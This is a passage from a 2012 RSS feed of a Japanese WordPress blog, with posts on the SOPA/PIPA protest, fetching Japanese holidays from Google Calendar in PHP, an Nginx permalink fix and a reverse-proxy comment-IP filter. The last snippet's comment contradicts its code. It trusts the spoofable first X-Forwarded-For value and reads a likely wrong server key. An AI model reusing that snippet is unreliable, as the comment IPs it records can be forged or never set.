/>]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/01/24/malware-analyze/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
		<item>
		<title>SOPA/PIPA への抗議</title>
		<link>http://wokamoto.wordpress.com/2012/01/18/help-stop-sopa-pipa/</link>
		<comments>http://wokamoto.wordpress.com/2012/01/18/help-stop-sopa-pipa/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 05:40:09 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[メモ]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=246</guid>
		<description><![CDATA[現在、WordPress.com、WordPress.org 共に SOPA/PIPA 法案への抗議として、トップページが変更されているようですね。<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=246&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_250" class="wp-caption alignleft" style="width: 160px"><a href="http://wokamoto.files.wordpress.com/2012/01/sopa1.png"><img src="http://wokamoto.files.wordpress.com/2012/01/sopa1.png?w=150&#038;h=126" alt="stop SOPA/PIPA" title="stop SOPA/PIPA" width="150" height="126" class="size-thumbnail wp-image-250" /></a><p class="wp-caption-text">WordPress.org</p></div><div id="attachment_247" class="wp-caption alignleft" style="width: 160px"><a href="http://wokamoto.files.wordpress.com/2012/01/sopa.png"><img src="http://wokamoto.files.wordpress.com/2012/01/sopa.png?w=150&#038;h=126" alt="stop SOPA/PIPA" title="stop SOPA/PIPA" width="150" height="126" class="size-thumbnail wp-image-247" /></a><p class="wp-caption-text">WordPress.com</p></div>現在、WordPress.com、WordPress.org 共に <a href="http://ja.wordpress.org/2012/01/18/help-stop-sopa-pipa/" title="WordPress | 日本語 » SOPA/PIPA 阻止にご協力を">SOPA/PIPA 法案への抗議</a>として、トップページが変更されているようですね。</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/246/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/246/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/246/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/246/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/246/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/246/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/246/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/246/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/246/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/246/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/246/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/246/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/246/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/246/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=246&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/01/18/help-stop-sopa-pipa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>

		<media:content url="http://wokamoto.files.wordpress.com/2012/01/sopa1.png?w=150" medium="image">
			<media:title type="html">stop SOPA/PIPA</media:title>
		</media:content>

		<media:content url="http://wokamoto.files.wordpress.com/2012/01/sopa.png?w=150" medium="image">
			<media:title type="html">stop SOPA/PIPA</media:title>
		</media:content>
	</item>
		<item>
		<title>PHP で Google Calendar API から日本の祝日データを取得</title>
		<link>http://wokamoto.wordpress.com/2012/01/16/google-calendar-japanese-holidays/</link>
		<comments>http://wokamoto.wordpress.com/2012/01/16/google-calendar-japanese-holidays/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 12:13:47 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[プログラミング]]></category>
		<category><![CDATA[Google Calendar]]></category>
		<category><![CDATA[Holidays]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=238</guid>
		<description><![CDATA[Google Calendarから日本の祝日データを取得する方法についての調査メモ。 ポイント GDataを使う場合はデベロッパーKEYが必要だが、GDataを使わなくても日本の祝日カレンダーは取得できる。 祝日名と日付を取得したい場合、Projection valueは&#8221;full-noattendees&#8221;で。（fullより少しだけデータが小さくなる。） 利用規約はGoogleカレンダー利用規約。 via. floatingdays: Google Calendar API で日本の祝日データを取得 PHP でやるなら&#8230; $holidays_url = sprintf( 'http://www.google.com/calendar/feeds/%s/public/full-noattendees?start-min=%s&#38;start-max=%s&#38;max-results=%d&#38;alt=json' , 'outid3el0qkcrsuf89fltf7a4qbacgt9@import.calendar.google.com' , // 'japanese@holiday.calendar.google.com' , '2012-01-01' , // 取得開始日 '2012-12-31' , // 取得終了日 50 // 最大取得数 ); if ( $results = file_get_contents($holidays_url) ) { $results = json_decode($results, true); $holidays = array(); foreach ($results['feed']['entry'] as $val [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=238&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<blockquote><p>Google Calendarから日本の祝日データを取得する方法についての調査メモ。</p>
<p>ポイント</p>
<ul>
<li>GDataを使う場合はデベロッパーKEYが必要だが、GDataを使わなくても日本の祝日カレンダーは取得できる。</li>
<li>祝日名と日付を取得したい場合、Projection valueは&#8221;full-noattendees&#8221;で。（fullより少しだけデータが小さくなる。）</li>
<li>利用規約はGoogleカレンダー利用規約。</li>
</ul>
<p><cite>via. <a href="http://fdays.blogspot.com/2008/04/google-calendar-gdatakeygdata.html" title="floatingdays: Google Calendar API で日本の祝日データを取得">floatingdays: Google Calendar API で日本の祝日データを取得</a></cite>
</p></blockquote>
<p>PHP でやるなら&#8230;</p>
<pre><code>$holidays_url = sprintf(
        'http://www.google.com/calendar/feeds/%s/public/full-noattendees?start-min=%s&amp;start-max=%s&amp;max-results=%d&amp;alt=json' ,
        'outid3el0qkcrsuf89fltf7a4qbacgt9@import.calendar.google.com' , // 'japanese@holiday.calendar.google.com' ,
        '2012-01-01' ,  // 取得開始日
        '2012-12-31' ,  // 取得終了日
        50              // 最大取得数
        );
if ( $results = file_get_contents($holidays_url) ) {
        $results = json_decode($results, true);
        $holidays = array();
        foreach ($results['feed']['entry'] as $val ) {
                $date  = $val['gd$when'][0]['startTime'];
                $title = $val['title']['$t'];
                $holidays[$date] = $title;
        }
        ksort($holidays);
}</code></pre>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/google-calendar/'>Google Calendar</a>, <a href='http://wokamoto.wordpress.com/tag/holidays/'>Holidays</a>, <a href='http://wokamoto.wordpress.com/tag/php/'>PHP</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/238/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=238&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/01/16/google-calendar-japanese-holidays/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
		<item>
		<title>WordPress + Nginx でパーマリンク設定に index.php が含まれる時の対策</title>
		<link>http://wokamoto.wordpress.com/2012/01/10/wordpress-nginx-permalink/</link>
		<comments>http://wokamoto.wordpress.com/2012/01/10/wordpress-nginx-permalink/#comments</comments>
		<pubDate>Tue, 10 Jan 2012 07:38:54 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[メモ]]></category>
		<category><![CDATA[WordPress Tips]]></category>
		<category><![CDATA[Nginx]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=235</guid>
		<description><![CDATA[WordPress tip for nginx users; use this somewhere in a plugin to make permalinks not go crazy: add_filter(&#039;got_rewrite&#039;,&#039;__return_true&#039;);&#8212; Samuel Wood (Otto) (@Otto42) January 09, 2012 Tagged: Nginx, WordPress<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=235&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<blockquote class='twitter-tweet'><p>WordPress tip for nginx users; use this somewhere in a plugin to make permalinks not go crazy: add_filter(&#039;got_rewrite&#039;,&#039;__return_true&#039;);&mdash; <br />Samuel Wood (Otto) (@Otto42) <a href='http://twitter.com/#!/Otto42/status/156306824163893249' data-datetime='2012-01-09T09:30:25+00:00'>January 09, 2012</a></p></blockquote>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/nginx/'>Nginx</a>, <a href='http://wokamoto.wordpress.com/tag/wordpress/'>WordPress</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/235/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=235&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/01/10/wordpress-nginx-permalink/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
		<item>
		<title>WordPress でリバースプロキシ使ってる時のコメントユーザーIP対策</title>
		<link>http://wokamoto.wordpress.com/2012/01/10/auto-reverse-proxy-pre-comment-user-ip/</link>
		<comments>http://wokamoto.wordpress.com/2012/01/10/auto-reverse-proxy-pre-comment-user-ip/#comments</comments>
		<pubDate>Tue, 10 Jan 2012 07:04:43 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[メモ]]></category>
		<category><![CDATA[WordPress Tips]]></category>
		<category><![CDATA[Reverse Proxy]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=228</guid>
		<description><![CDATA[// applied to the comment author's IP address prior to saving the comment in the database. function auto_reverse_proxy_pre_comment_user_ip() { if ( isset($_SERVER['X_FORWARDED_FOR']) &#38;&#38; !empty($_SERVER['X_FORWARDED_FOR']) ) { $X_FORWARDED_FOR = (array)explode(",", $_SERVER['X_FORWARDED_FOR']); $REMOTE_ADDR = trim($X_FORWARDED_FOR[0]); //take the last } else { $REMOTE_ADDR = $_SERVER['REMOTE_ADDR']; } return $REMOTE_ADDR; } add_filter ( 'pre_comment_user_ip','auto_reverse_proxy_pre_comment_user_ip' ); via. Plugin API/Filter Reference/pre comment [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=228&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre><code>//  applied to the comment author's IP address prior to saving the comment in the database.
function auto_reverse_proxy_pre_comment_user_ip() {
	if ( isset($_SERVER['X_FORWARDED_FOR']) &amp;&amp; !empty($_SERVER['X_FORWARDED_FOR']) ) {
		$X_FORWARDED_FOR = (array)explode(",", $_SERVER['X_FORWARDED_FOR']);
		$REMOTE_ADDR = trim($X_FORWARDED_FOR[0]); //take the last
	} else {
		$REMOTE_ADDR = $_SERVER['REMOTE_ADDR'];
	}
	return $REMOTE_ADDR;
}
add_filter ( 'pre_comment_user_ip','auto_reverse_proxy_pre_comment_user_ip' );</code></pre>
<p><cite>via. <a href="http://codex.wordpress.org/Plugin_API/Filter_Reference/pre_comment_user_ip" title="Plugin API/Filter Reference/pre comment user ip « WordPress Codex">Plugin API/Filter Reference/pre comment user ip « WordPress Codex</a></cite></p>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/reverse-proxy/'>Reverse Proxy</a>, <a href='http://wokamoto.wordpress.com/tag/wordpress/'>WordPress</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/228/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/228/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/228/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/228/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/228/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/228/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/228/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/228/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/228/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/228/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/228/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/228/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/228/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/228/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=228&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/01/10/auto-reverse-proxy-pre-comment-user-ip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
	</channel>
</rss>
